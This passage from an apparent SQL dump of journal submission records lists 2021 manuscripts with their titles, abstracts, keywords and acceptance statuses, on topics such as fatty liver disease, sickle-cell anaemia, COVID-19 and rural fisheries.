article',0,NULL,NULL,NULL,0,0,0,NULL,0),(8381,9102,277,0,'ipadm-21-8381','ENFERMEDAD HEPÁTICA GRASA NO ALCOHÓLICA: PERSPECTIVA GENERAL Y RIESGO CARDIOVASCULAR',NULL,6,0,'','Introducción: la enfermedad hepática grasa no alcohólica (EHGNA) es la causa más común de enfermedad hepática crónica a nivel mundial. Se considera la expresión hepática del síndrome metabólico, los distintos componentes de este síndrome se comportan como factores potenciales de aparición y progresión de la EHGNA; dentro de estos pacientes la enfermedad cardiovascular constituye la causa primaria de mortalidad y morbilidad. En consecuencia se ha desarrollado un interés mayor en generar estrategias que permitan impactar el efecto de la EHGNA sobre la enfermedad cardiovascular. \r\nObjetivo: evaluar la contribución de la enfermedad hepática grasa no alcohólica a la enfermedad cardiovascular. \r\nMetodología: se realiza búsqueda electrónica en las bases de datos: PubMed, ScienciaDirect, Scopus y Medline de artículos originales y de revisión en el período entre 1997 y 2019.   \r\nConclusión: La EHGNA es un componente fundamental del riesgo cardiovascular, constituye un elemento asociado a desenlaces cardiovasculares adversos, por lo tanto demanda un mayor interés por parte del clínico. Las opciones terapéuticas aunque variadas, distan de dar una solución eficiente al problema metabólico desencadenado por esta condición, siendo las estrategias no farmacológicas la piedra angular en su abordaje.','Enfermedad hepática grasa no alcohólica; esteatohepatitis no alcohólica; elevación de enzimas hepáticas; síndrome metabólico; riesgo cardiovascular.',4680,NULL,'2021-05-04',NULL,'Submitted',2,NULL,'2021-06-04',NULL,1,1,'1','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(8389,9530,971,0,'ipaclr-21-8389','Comparison of serum electrolytes between Sickle cell and control group: A Meta-Analysis',NULL,15,0,'','Background: Sickle-cell anaemia is an inherited disease in which genes for sickle-cell haemoglobin comes from both parents. Electrolytes such as sodium (Na+), potassium (K+), chloride (Cl-) are essential for the normal functioning of the cells and organs. The present study was carried out to evaluate and determine the relationship between electrolytes values in Sickle cell anaemia patients. Aim: To compare serum electrolytes levels between Sickle cell and control group. Materials and Methods: Meta-analysis was carried out on the findings of ten published studies that were related to serum electrolytes levels of sickle cell anaemia patients. The pooled mean for serum electrolytes was estimated by using a random-effects model. Results: Pooled mean for serum sodium was lower in sickle cell anaemia with p value 0.04. However, potassium levels were higher in patients than controls with p value 0.01. Conclusion: Pooled mean reported in this study can be useful in working out the management of sickle cell anaemia.','Sickle cell; Electrolytes; Sodium; Potassium; Chloride',4009,NULL,'2021-05-04',NULL,'Submitted',2,NULL,'2021-05-26',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(8396,9537,667,0,'iptb-21-8396','Orthostatic test with measurement of the parameters of Pulse Rate Variability (PRV) in 60-year-old man after 7 h sleep',NULL,2,0,'','The parameters of Pulse Rate Variability (PRV) were measured in a 60-year-old man after 7 h sleep in condition of fully resting. \r\n     He is with a height of 178 cm, weight 75 kg and BMI = 24. \r\n\r\n   A orthostatic test was performed. (see fig. 1)\r\n     The measurement was performed using a PPG sensor placed on the finger of the left hand (Heart Rhythm Scanner  - Biocom Technologies - USA).\r\n\r\n','pulse, rate, variability, orthostatic, test, sleep, old, man',3774,NULL,'2021-05-04',NULL,'Submitted',4,NULL,'2021-11-30',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(8403,9542,45,0,'iphsj-21-8403','THE BALANCE CONCEPT ON UNILATERAL VESTIBULAR HYPOFUNCTION PATIENTS CHANGES THE BALANCE AND QUALITY OF LIFE ',NULL,14,1,'Vestibular dysfunction','Objective: To evaluate the Balance Concept influence upon balance and quality of life of unilateral vestibular hypofunction (UVH) patients and their self-perception. Method: 6 patients were selected, both sexes and mean ages 55,33 ± 20,66, and the mean time of UVH basis diagnosis of 4,33 ± 3,32 years, were submitted to exercises based on Balance Concept three times a week, during 12 sessions and assessed by the Mini-Mental State Examination (MMSE), Dizzines Handicap Inventory questionnaire and Berg Balance Scale. Shapiro Wilk test and T test sample data (p<0,05) were used. Results: It was observed on Berg Balance Scale significant increase by comparing pre-treatment over post-treatment (p=0,0059), likewise on Dizzines Handicap Inventory scale, which was significant if comparing pre-treatment and post-treatment rates (p=<0.0001), in the same way, it was reported by the patients, an improvement after the proposed protocol. Conclusion: The used protocol based on the Balance Concept in this study helped the reduction of dizziness and balance improvement on unilateral vestibular hypofunction patients, reflecting directly on their daily activities.','Vestibule of the Labyrinth, Movement, Rehabilitation, Physical Therapy, Dizziness, Postural Control, Self-Image, Quality of Life',3829,NULL,'2021-05-05',NULL,'Submitted',2,NULL,'2021-06-29',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(8408,9547,86,0,'ipaom-21-8408','LIFESTYLE FACTORS AS RISK FACTORS AND TREATMENT OPTIONS IN TENDINOPATHY',NULL,3,0,'','Physical therapists and other therapists often treat patients with tendinopathy, which is a condition that occurs frequently and has poor prognosis and long recovery time. Multiple lifestyle factors have found to be risk factors for tendinopathy. Lifestyle factors such as exercise and movement, nutrition, sleep and psychosocial factors are often interrelated and can create a vicious spiral for patients with tendinopathy. Unhealthy lifestyle factors can cause chronic pain, low-grade inflammation, elevated adiposity, higher waist-to-rib ratio, greater body mass index, overweight, obesity, high cholesterol, metabolic syndrome, diabetes type II, rheumatoid arthritis and inflammatory-related diseases, which are the main factors explaining the association between lifestyle factors and tendinopathy. Single or multiple lifestyle interventions are available for the treatment of patients with tendinopathy. Both exercise and movement and nutritional interventions tend to improve tendon health and recovery of tendinopathy indirectly by decreasing adiposity, weight, diabetic symptoms, low-grade inflammation and pain. They are also likely to improve blood levels, bone and muscle health, collagen synthesis of tendons, tendon function and tendon-related pain. Sleep, psychological factors, smoking behavior and alcohol use also affect tendon pain and tissue healing. Physical therapists and other therapists may incorporate interventions as part of the treatment of tendinopathy targeted at improving sleep and psychosocial factors. Smoking behavior and alcohol use should be discouraged, for which multiple interventions are available. The purpose of this commentary article is to inform physical therapists and other therapists about lifestyle factors as risk factors and treatment options in tendinopathy.','lifestyle, tendinopathy, treatment, risk factors, physical therapy',4679,NULL,'2021-05-06',NULL,'Submitted',2,NULL,'2021-05-26',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(8417,9556,326,0,'IPJUS-21-8417','Functional Endoscopic Sinus Surgery',NULL,5,0,'','Functional Endoscopic Sinus Surgery (FESS) has now established as a usual treatment for chronic hyperplastic rhinosinusitis. Even though some of the concepts have been present since the turn of the century, yet the surgical technique per se was developed only about a decade and half back in Europe and later on popularized in United States. The technological advances made with the development of small fibreoptic endoscopes and computerized tomography (CT) scanning of the paranasal sinuses have now allowed a more direct and accurate study of sinus diseases than in the past.','Functional Endoscopic Sinus Surgery',2505,NULL,'2021-05-07',NULL,'Submitted',2,NULL,'2021-05-22',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8429,9566,45,0,'iphsj-21-8429','Infection prevention through Isolation room designs in COVID’19',NULL,13,0,'Catching and Spreading Coronavirus (social distancing)','Background: The outbreak of a severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) has spread across the world and have caused a global health emergency. \r\nMethods: We strongly believe that the proper use of  already constructed areas and their modifications such as provision of isolation rooms in all types of public buildings especially in hospitals which would be highly effective and be an additional important measure to reduce and prevent the transmission of the virus, thereby protecting the frontline workers, general public as well as speedy recovery  of the infected patients. In this study, we report the importance, types and design of isolation rooms in hospitals required during this pandemic situation.\r\nFindings: Literature studies and all have been done and it has been found that different kinds of isolation rooms can be designed in various hospitals. The isolations rooms can be created in the already existing parts or can be designed using a variety of wall surfaces from vinyl-covered gypsum to nonporous Fiberglass Reinforced Plastic (FRP). \r\n Interpretation: With the literature review and data collection we have designed single as well as common isolation room designs with all the features to reduce the spreading of the infection.\r\nFunding: No funding received.','COVID\'19, isolation room, design, prevention',4076,NULL,'2021-05-09',NULL,'Submitted',4,NULL,'2021-06-08',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8435,7494,45,0,'iphsj-21-8435','In search for the truth about hydroxychloroquine prophylaxis of COVID-19',NULL,15,0,'','Introduction: \r\nCOVID-19, caused by the coronavirus SARS-CoV-2 has quickly spread around the world. Currently there is an active search for vaccines and therapeutics, including repurposing of well-known drugs. COVID-19 continues to be a challenge with only a few therapeutic and no chemoprophylactic interventions to combat the virus.\r\nMethods: \r\nWe aimed to review available data for the application of hydroxychloroquine (HCQ) as a chemoprophylactic agent for COVID-19, outline weakness of published trials and assess the objectivity of conclusions regarding the possible benefits of HCQ prophylaxis against the novel coronavirus disease.\r\nResults: \r\nOur search turned 15 articles describing trials investigating the application of HCQ as a chemoprophylactic agent for COVID-19. Different cohorts of subjects were used, mainly health care workers exposed to coronavirus patients; people with rheumatic arthritis and systemic lupus erythematosus; cases of household transmission. \r\nConclusions: \r\nTrials investigating the potential of HCQ to be a prophylactic agent for SARS-CoV-2 have quite conflicting results. Further research is required in the form of large randomized trials with carefully considered methodological approach which will help avoid limitations making the potential results unreliable.','hydroxychloroquine, coronavirus disease, COVID-19, prophylaxis, pre-exposure, post-exposure',4825,NULL,'2021-05-10',NULL,'Submitted',2,NULL,'2021-05-24',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8436,9572,73,0,'ipjnn-21-8436','Neurosarcoidosis: A Rare Cause of The Acute Confusion and Agitation in Young Patient',NULL,2,0,'','Neurosarcoidosis is very rare disease that affects 5% of all patients and it will be fatal if not treated. Nonetheless, provided with expert care. The disease is straightforward to treat. Only minority of patients suffer lasting neurological im- pairments.','Confusion, CNSinfections, Case Report, Neurosarcoidosis',327,NULL,'2021-05-10',NULL,'Submitted',2,NULL,'2021-05-24',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8441,9577,85,0,'iphspr-21-8441','WAWARED: Getting connected using mobile technologies for Better Maternal and Child health in Peru:  A Randomized Controlled Trial ',NULL,14,0,'','Background\r\nPregnancy-related complications continues to be unacceptable high, especially in low resource countries. Antenatal care (ANC) could be an effective intervention. However, still most pregnant women in the developing world go to only one-or less than the recommended ANC visits during their whole pregnancy, so there is a need of strategies to improve ANC attendance. Digital technologies represent an innovative approach to increase ANC attendance. Within the Project WAWARED: “Getting connected for a better maternal and child health”, we included a randomized controlled trial (RCT) to evaluate the impact of the introduction of individually tailored SMS messages to pregnant women in Peru. The objective of this paper is to present the results of the WAWARED RCT and examine the effects of SMS messages in ANC visits, behavioral outcomes, maternal and neonatal outcomes. \r\nMethods \r\nThe WAWARED system sent automatic SMS messages according to gestational age and any specific pathology registered in the Electronic Medical Records (EMR). ANC appointment reminders were sent, and additional educational messages were also sent to the intervention group until the end of the pregnancy. 651 participants were randomized to the intervention group and the control group respectively. \r\nFindings\r\nPregnant women who received SMS messages were 6% more likely to attend more than 6 ANC visits and 25% more likely to attend the visits on time. This effect was modified by education, since all the effect was seen in women with secondary or higher education.  \r\nInterpretation\r\nSMS sent to pregnant women had a significant effect in increasing the number of ANC visits and these effects were more evident in women with more education, but it was also possible that the introduction of the EMR helped to improve the number of ANC in both control and intervention groups.\r\n','Electronic health records, Antenatal care, digital technologies, RCT',4826,NULL,'2021-05-10',NULL,'Submitted',2,NULL,'2021-07-28',NULL,1,1,'1','                         ',0,'','',NULL,0,0,0,NULL,0),(8442,9102,277,0,'ipadm-21-8442','PERSISTENT HEADACHE AFTER COVID 19 INFECTION',NULL,2,0,'COVID19','La infección por COVID-19 produce múltiples manifestaciones clínicas, dentro de las cuales se ha observado con frecuencia la cefalea. Se reporta el caso de una paciente de 30 años con infección por COVID-19 hace 2 meses quien consulta a especialista de dolor por cefalea de intensidad moderada, pulsatil, con sensación de hiperalgesia, ardor y calor, corrientazos, en región parietal y occipital bilaterales, persistente que no mejora con analgésicos habituales. Tras descartarse lesiones ocupantes de espacio, alteraciones neurovasculares y reumatológicas; con único antecedente de importancia infección viral se consideró cefalea atípica crónica cráneo–facial, como secuela del COVID-19. Se invita a la comunidad científica a continuar la investigación etiológica en esta área tras la creciente aparición de síndrome post COVID con manifestaciones extrapulmonares, como lo son las complicaciones neurológicas.','Cefalea, COVID – 19, dolor facial, cefalea diaria persistente de novo (CDPN)',2805,NULL,'2021-05-11',NULL,'Submitted',2,NULL,'2021-06-07',NULL,1,1,'0','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(8449,9581,251,0,'ipacm-21-8449','Staining: For Bacterial Detection',NULL,3,0,'','Staining procedures performed regularly in microbiological labs incorporate gram\'s stain, corrosive quick stains, acridine orange, calcofluor white, toluidine blue, methylene blue, silver stains, and fluorescent stains. Stains are ordered extensively as essential, acidic, or impartial stains.','',779,NULL,'2021-05-11',NULL,'Submitted',2,NULL,'2021-05-27',NULL,1,1,'1','   ',0,NULL,NULL,NULL,0,0,0,NULL,0),(8460,9557,639,0,'ipfs-21-8460','Effect of COVID – 19 pandemic in  fisheries and fisherman of  rural area.',NULL,17,0,'Effect of COVID – 19 pandemic in  fisheries and fisherman of  rural area.','Description:\r\nSince, December 31 2019, pandemic COVID-19  has made the world immobilized by its health ,education & economic shock (Hongzhou et al., 2020). By observing different multidimensional effect of corona virus, on January 30 2020 World Health Organization (WHO) declared COVID-19 as a worldwide emergency (Sohrabi et al., 2020). In order to reduce the spread of corona virus, the Indian government on March 24, 2020 imposed , three week continues nationwide lockdown.Insted of country wise lockdown , the spread of the virus were out of control, in that point of view government extend the period of  lockdown. A study by Oxford shows that  more than 1 millions of people losses their jobs. The International Monetary Fund  has estimated that , economic progress of India at 1.9 % in 2020-2021 (Livemint, 2020). Rate of unemployment in India’s might point to 23 % (India Today, 2020).\r\n\r\nIndia is an agriculture based country, where more than 60 percent of people directly or indirectly depends on the agriculture .Side by side Fisheries sector escalating up very rapidly . In all over the world India rank  second in fish producing country, with 6.56 % of total global production (GoI, 2019). In India about 14.5 million people  of the country are involved in fisheries & its allied  sectors activities (NFDB) (Shyam, 2016). As COVID- 19 pandemic hits more than 170 countries has cancelled the order in the export market and trades has dropped below 20 - 40 % .So, in this pandemic situation a survey has been carried out in four village of Nadia district namely Fulkalmi,Madhupur,Pipragachi And Shikra colony (West Bengal).\r\nEffect of COVID-19 in rural fisheries:\r\nIn this four village , peoples are mainly depends on the agriculture and side by side they earn revenue from traditional fish farming in their own small ponds. Only 45 peoples  of the population of the total population of the four village are totally depends on the aquaculture. Those people practice aquaculture in their own pond and also in rental pond .Pond sizes varies from 0.5 bigha to 3.5 bigha .Of the 45 fisherman only 4 fisherman practice scientific methods of fish farming  , remaining fisherman practiced traditional aquaculture. The major cultured species are  Catla catla , Labeo rohita , Cirrhinus mrigal, Ctenopharyngodon idella,Cyprinus carpio,Oreochromis niliticus .The reasons behind this high percentage of traditional culture are :\r\nLack of training programs to the fisherman in the rural area.\r\nLack of equipment and feed supply.\r\nLack of quality seed supply.\r\nLack of scientific pond construction design.\r\nLack of funding agency.\r\nLack of fisheries extension education in the grass root level.\r\nThere of many schemes which are launched by central and state government for the rural area fisherman , but unfortunately they are far away from that facility , due to the lack of fisheries extension education. This fisherman travel 4 hours long distance to Naihati and kalna  fish seed market to  collect the fish seed. During transportation many seed die and many of then get injured , which succulently reducing the fish productivity .They also do not get the reasonable price of the fish due to lack of proper market facility. In this  COVID -19 pandemic situation , their life style and aquaculture practiced also changed drastically. One of the main cause of their low production in this pandemic situation is lack of seeds. As no vehicles are permitted to move on road , so they could not get the seed for aquaculture practice as they have to travel 4 hours long journey to get the seeds. Due to shortage of fund 17 fisherman losses their rental pond. This fisherman has chosen an alternative way of income like , selling vegetable in village , wages ,agriculture and some of them started capture fisheries from a cannel which was situated just side by side of village Fulkalmi.This fisherman caught fish using some of the traditional gears like triangular schoop net , Ghuni  , Gill net and traps. Mostly from the cannel they collect species like Puntius ticto (28%), Mystus vittatus (5%),Colisa fasciata(36%) , Channa sp(19%)., Mola sp.(5%) and others (7%) . They use to sell  the fishes  ,daily in the morning at the rate of  1kg / Rs.100(INR)  Colisa fasciata and Puntius ticto.As every year many young people migrate to other state for some income source , but due to lockdown those people came back to their own village because some of them losses job and reducing the opportunity for income . So, ultimately the want of protein supply also increases proportionally and production of the pond decrees inversely. Their is a crises of fish supply and for that the prices of the fishes in the market increases gradually. This situation may show less effect in fish production if there was following facility :\r\nAn established fish seed hatchery.\r\nQuality fisheries extension education.\r\nIf funding / loan facility available .\r\nThere should be a strong procurement & dispersal facility at Minimum Support Price for fish & fishery products.\r\nAt present-day out of 140 million legatee farmers, from them  84.6 million only  are under  PM-KISAN scheme (The Economic Times, 2020c).There should be more inclusion of beneficiary.\r\nFrom this case study , it could be suggest that grass root level fisheries extension education and scientific facility is the either most important things to improve the livelihood and aquaculture production of the country . At post COVID-19 period  the policymakers  & government need to be ready to diminish the effect of the shock & V-shaped repossession of the economy .Government different NGO are engaged in  providing different fisheries training programs and opportunity like PMMSY,WBADMIP,KVK,ATMA but this facility are not known to the fish farmers .So, more extension education and awareness  is needed to get success in ‘BLUE REVOLUTION’.','FISHERIES, COVID-19, AQUACULTURE',4830,NULL,'2021-05-12',NULL,'Submitted',2,NULL,'2021-07-02',NULL,1,1,'0','accepted the article',0,NULL,NULL,NULL,0,0,0,NULL,0),(8475,9556,326,0,'IPJUS-21-8475','Congestive Heart Failure',NULL,5,0,'','Heart failure is a medical syndrome produced by structural and functional deficiencies in myocardium brings about in damage of ventricular filling or the ejection of blood. Congestive Heart Failure is a condition in which the heart cannot pump all the blood returning to it, leading to a backup of blood in the vessels and an increase of fluid in the body\'s tissues, including the lungs. The maximum cause for HF is reduced left ventricular myocardial function; though, dysfunction of the pericardium, myocardium, endocardium, heart valves or great vessels alone or in combination is also connected with Heart failure. A number of the major pathogenic mechanisms leading to HF are increased hemodynamic load, ischemia-related dysfunction, ventricular alteration, excessive neuro-humoral stimulation, unusual myocyte calcium cycling, excessive or inadequate proliferation of the extracellular matrix, speeded up apoptosis and genetic mutations.','Congestive Heart failure',2505,NULL,'2021-05-13',NULL,'Submitted',2,NULL,'2021-05-22',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8481,9613,639,0,'ipfs-21-8481','Normative Beliefs and Economic Life: A Case Study of the Fishing Industry in Two Communities in Rural Newfoundland',NULL,5,0,'','The normative beliefs people have about what is valuable, just, or fair are an important aspect of natural resource governance. They influence which goals stakeholders find worthwhile and which systems they consider fair. They also affect the efficacy of regulatory systems through their impact on, for example, community participation, policy evasion, and external enforcement costs. \r\nMy paper “Normative beliefs and economic life: A case study of the fishing industry in two communities in rural Newfoundland” in the May 2021 edition of Marine Policy documents and analyzes these kinds of beliefs. Specifically, it documents the beliefs of fishing enterprise owners in two small communities in northeastern Newfoundland in Canada.','fish,',1771,NULL,'2021-05-14',NULL,'Submitted',2,NULL,'2021-07-02',NULL,1,1,'1','accepted the article',0,NULL,NULL,NULL,0,0,0,NULL,0),(8484,9616,251,0,'ipacm-21-8484','Electric and magnetic field applications as alternative or supportive therapy for Covid-19.',NULL,8,0,'','Magnetic field, electric field and electric current are part of nature. Therefore, living organisms, likewise viruses, can be affected by physical processes. Therapeutic and supportive effects of electric and magnetic fields are proved in numerous studies on cells, bacteria and viruses. In our review, by keeping in mind this potential, we handled the possible curative or supportive and maybe therapeutic potential of electric and magnetic applications on coronavirus patients as short as possible. Studies have given us an idea to review new application methods using electric and magnetic field for coronavirus treatment. While vaccine and drug studies related to this pandemic continue, alternative therapies are also of great importance and new approaches and different perspectives are needed in this regard.','Magnetic field  \r\nElectric field  \r\nSARS-CoV-2  \r\nCoronavirus  \r\nPandemic',3946,NULL,'2021-05-14',NULL,'Submitted',2,NULL,'2021-05-29',NULL,1,1,'0','  ',0,'','',NULL,0,0,0,NULL,0),(8490,9623,86,0,'ipaom-21-8490','Gastric Outlet Obstruction due to Primary Duodenal Tuberculosis – Case report on rare presentation of an uncommon condition',NULL,2,0,'','ABSTRACT\r\nGastric outlet obstruction is commonly associated with malignancy and peptic ulcer\r\ndisease. Duodenal tuberculosis as a cause of Gastric outlet obstruction is a rare\r\nclinical entity and poses a great diagnostic dilemma. We report cases of two young\r\nadults presenting with long-standing gastric outlet obstruction due to Duodenal\r\nTuberculosis. Patients were evaluated using UGI scopy and USG scan. Exploratory\r\nLaparotomy was done in both cases, tissue biopsy was taken, and gastrojejunostomy\r\nwas done to relieve the obstruction. Histopathology was positive for tuberculosis in\r\nboth cases, and patients were started on antituberculous medication. At present, the patients have responded to antituberculous medications, and are asymptomatic.\r\n\r\n','Keywords: Gastro duodenal tuberculosis; Gastrojejunostomy; Duodenal Tuberculosis.',3641,NULL,'2021-05-14',NULL,'Submitted',2,NULL,'2021-05-30',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(8491,9619,86,0,'ipaom-21-8491','The value of different electrocardiographic patterns at hospital admission in predicting clinical outcome in pulmonary embolism',NULL,14,0,'','Background: Literature reports the presence of several electrocardiographic (ECG) patterns of right ventricular (RV) strain in acute pulmonary embolism (PE). These reports are  inconsistent considering the prognostic value of these patterns. Aim: to evaluate the significance of ECG RV strain patterns in predicting short-term (in-hospital)\r\nclinical outcome.\r\nMethods: This retrospective study was consisted of 183 patients (107 male, age: 61±14 years) with acute PE. The 12-lead ECG done at hospital admission was analyzed. ECG RV strain was diagnosed in presence of one or more of following 12 patterns: tachycardia, atrial fibrillation, low QRS voltage, S1Q3T3/Q3T3, Q in III, aVF, right axis deviation, right bundle branch block, Qr in V1, negative T wave in inferior, precordial leads, ST elevation in inferior leads, aVR,V1 and ST depression. The outcome was defined as experience of an adverse event (in-hospital complications and death all-cause). The association of ECG patterns with outcome was evaluated by multivariable Cox hazards regression analysis. \r\nResults:  During a median hospitalization time of 15 days, 41 (22.4%) adverse events occurred. Event rate was higher in patients with ?5 ECG patterns than in <5  (63.4% vs 0.7%; p<0.0001). Number of ECG patterns (hazard ratio (HR):1.8 per pattern; 95% confidence interval (CI):1.2-2.7; p=0.003), ST elevation in inferior leads (HR:13.4; 95% CI: 1.2-94.5; p=0.03) and ST depression (HR:7.6;  95% CI: 1.0-55.7; p=0.04) were independently associated with adverse outcome. \r\nConclusions:  Number of ECG RV strain patterns, ST elevation in inferior leads and ST depression have independent value in predicting in-hospital adverse outcome in acute PE.','acute pulmonary embolism, electrocardiographic right ventricular strain pattern, number of electrocardiographic right ventricular strain pattern, ischemic patterns.',409,NULL,'2021-05-14',NULL,'Submitted',2,NULL,'2021-06-25',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8494,9625,91,0,'ijddr-21-8494','NUTRACEUTICALS OF PHARMACEUTICAL IMPORTANCE AND THEIR APPLICATIONS',NULL,15,0,'NA','In the current scenario people are deeply concerned about their health because of lifestyles have changed drastically due to increase in working hours and various psychological pressures, which have led to an increased incidence of various life-threatening diseases. In addition to this they are frustrated with the expensive, high-tech, disease-treatment and management approach. The demand for nutraceuticals and phytonutrients has increased over the past few years and they are being used by people for various therapeutic outcomes. The nutraceutical products are recognized not only for their health benefits to reduce the risk of cancer, heart diseases and other related ailments, but also to prevent or treat hypertension, high cholesterol, excessive weight, osteoporosis, diabetes, arthritis, maculardegeneration, cataracts, menopausal symptoms, insomnia, diminished memory and concentration, digestive upsets and constipation. Nutraceuticals have also found considerable trust in treating headaches and migraines resulting from stress. Other related nutraceutical products are touted as cures for thinning hair, lack of confidence, poor complexion, varicose veins, alcoholism, depression, and lethargy. In this chapter we made an attempt to classify all types of nutraceuticals with examples followed by their applications in the treatment of various disorders. Furthermore, the implementation of the designing and development of dosage forms for offering better delivery carrier of the nutraceuticals, the importance and challenges have also been enumerated.','lifestyles; life-threatening diseases; disease-treatment; nutraceuticals; health benefits; therapeutic outcomes.',4839,NULL,'2021-05-15',NULL,'Submitted',2,NULL,'2021-06-29',NULL,1,1,'0','accept',0,'','',NULL,0,0,0,NULL,0),(8513,9118,86,0,'ipaom-21-8513','Cardiorespiratory Events In Children During Chemoembolization of Ophthalmic Artery for Retinoblastoma.',NULL,2,0,'','Retinoblastoma (RB) is the most common eye neoplasm in childhood, accounting for 2.5% to 4% of all pediatric cancers. Recent approaches to treat RB include localized administration of chemotherapy, such as super-selective ophthalmic artery chemotherapy. Although localized chemotherapy aims that minimize systemic side effects, some adverse cardio-respiratory reactions have been described as associated with this therapy. Our case report describes the cardiorespiratory severe events presented secondary to super-selective chemotherapy of the ophthalmic artery, to which we must be prepared to avoid fatal outcomes.','retinoblastoma, cerebral angiography, chemoembolization, intraoperative complication, super-selective ophthalmic artery chemoembolization',3362,NULL,'2021-05-17',NULL,'Submitted',2,NULL,'2021-07-16',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8514,9640,639,0,'ipfs-21-8514','Reduction of nauplii size in an allochthonous Artemia strain through Selective breeding',NULL,14,0,'','The present study was aimed to develop an Artemia strain producing small nauplii through selective breeding. Fifteen generations of mass selection was carried out for the reduction of nauplii size in the indigenous Artemia, which was identified to be Artemia franciscana naturalized in the Indian salinas. Mean values of life history traits, heritability of nauplii size, selection differentials, standardized selection differential, and predicted and realized selection responses were estimated from the full sib data. The selection response realized from fifteen generation of selection was 14.9 per cent reduction in nauplii length (from 517.0 ± 39.8 µm to 439.3 ± 27.0µm). Five per cent reduction in cyst size (from 224.83 ± 14.81 µm to 212.5 ± 9.5 µm) was realized as correlated response. Concurrently with the reduction in nauplii and cyst size, significant increase in cyst hatching percentage (10%) was also realized as correlated gain (from 54.4% to 64.58). Heritability estimates (h2) were found to be generally very high. Heritability estimate for the first day nauplii length, pooled for the fifteen generations was 0.94 ± 0.27. The reduction gained in nauplii length selection indicates the efficiency of selection. Since nauplii/cyst size and hatching efficiency along with the nutrient profile are the prime indicators that determine the suitability of Artemia as larval feed, the selectively bred Artemia of the present study make it a promising strain for larviculture activities','Artemia; Cyst size, hatching percentage; heritability; selective breeding; small nauplii.',1776,NULL,'2021-05-17',NULL,'Submitted',4,NULL,'2022-07-26',NULL,1,1,'1','accepted the article',0,'','',NULL,0,0,0,NULL,0),(8519,9644,45,0,'iphsj-21-8519','Evaluation of the bacteriological quality of milk sold in Nnewi, Nigeria ',NULL,14,0,'','Abstract \r\nIntroduction: Contamination of milk products can result to severe intestinal and extra-intestinal diseases in man. This study was aimed at evaluating the bacteriological quality of various milk products sold in Nnewi.  \r\nMaterials and Methods: Using the Cluster sampling technique, 30 milk samples (5 pasteurized skimmed milk, 5 powdered infant milk formulas, 5 powdered milk, 5 unsweetened evaporated milk, 5 branded soya milk and 5 unbranded soya milk) were purchased randomly from different shops and hawkers around Nnewi. Sample processing was done by serially diluting samples in sterile 1% peptone water before plating onto Mannitol Salt Agar, Violet Red Bile Glucose Agar, Blood Agar, MacConkey and Cysteine Lactose Electrolyte Deficient (CLED) agar using the Pour-plate technique. Bacterial count and identification were done using standard bacteriological as well as molecular techniques.  The molecular techniques used were Polymerase Chain Reaction, Sanger Sequencing and BLAST analysis on the NCBI BLAST online.\r\nResults: This showed that 15 (50%) out of 30 milk samples were contaminated to varying degrees with bacteria. Nine (9) samples showed the presence of Escherichia coli with 32.14% of all the milk samples tested. E. coli was present in skimmed milk (20%), evaporated milk (20%), branded soyamilk (40%) and unbranded soyamilk (100%) but was not isolated from Infant formula and Powder milk. Klebsiella spp. showed the second highest prevalence (28.57%) and was present in evaporated milk (20%), branded Soyamilk (40%), unbranded soyamilk (100%). Salmonella spp. (3.57%) was isolated from unbranded soyamilk, Enterobacter spp. (14.29%) was isolated from powder milk and in unbranded soyamilk samples, Staphylococcus aureus (3.57%) and Staphylococcus epidermidis (3.57%) were isolated only in unbranded soyamilk, Macrococcus caseolyticus (3.57%) was isolated from unbranded soyamilk. Novel species such as Aquitalea magnusonii (3.57%), Alishewanella fetalis (3.57%) and Lysinibacillus macroides (3.57%) were identified by molecular analysis to be present in infant formula, evaporated milk and unbranded soyamilk respectively. \r\nConclusion: This research revealed that the bacteriological quality of some milk and milk products sold in Nnewi is not acceptable especially the unbranded soyamilk samples that showed gross contamination.','',3756,NULL,'2021-05-17',NULL,'Submitted',16,NULL,'2021-05-28',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(8521,9647,667,0,'iptb-21-8521','Identification and Elucidation of Bioactives in Datura stramonium leaves: an insight into drugs discovery',NULL,14,0,'','Medicines from plants help in treating ailments, but to utilize them effectively in the management of diseases requires the identification of potent phytochemicals relative to conventional drugs. These phytochemicals are compared with synthetics drugs in line with their treatment regimen. An investigation was designed to identify, and characterized the different phytochemicals in Datura stramonium (Jimson weed) leaves and compared with conventional or standard drugs. The identified phytochemicals were blasted on drugs bank website to find their correlation and relativity. Two solvent systems - Dichloromethane and 1- chloro-octadecanesurrogate were used to getting the extracts. GC/MS techniques was used to analyze the phytochemicals. The results showed 80 different phytochemicals belonging to several categories of phytochemicals - alkaloids, flavonoids, terpenoids, saponins, amine, and steroids. They also showed different percentage concentration and retention time. The flavonoid class had - 1.24% of 5H-Dibenzo[c, f][1, 2] diazepine, 3, 8 dichloro-6,11-dihydro, at 3.702 RT, Alkaloid class has – 2.98% 2,6-Dibromobenzoquinone was detected at 4.403 RT, steroid – 2.98% Acetanilide, 2-chloro-4\'-nitro-   at 4.403 RT was obtained and Terpene – 2.05% of Methyl .beta.-[N-methylanilino]acrylate was detected at 4.719 RT, respectively. Most of the identified phytochemicals matched with synthetic drugs and confirmed the purpose of their applicability in traditional medicine. This investigation established the reason a single extract may have a wide spectrum of effects on disease etiology. It validates the utilization of compounds in the extract for better therapeutic application, and drug delivery. ','Drugs-discovery, Datura stramonium, Bioactive, characterization 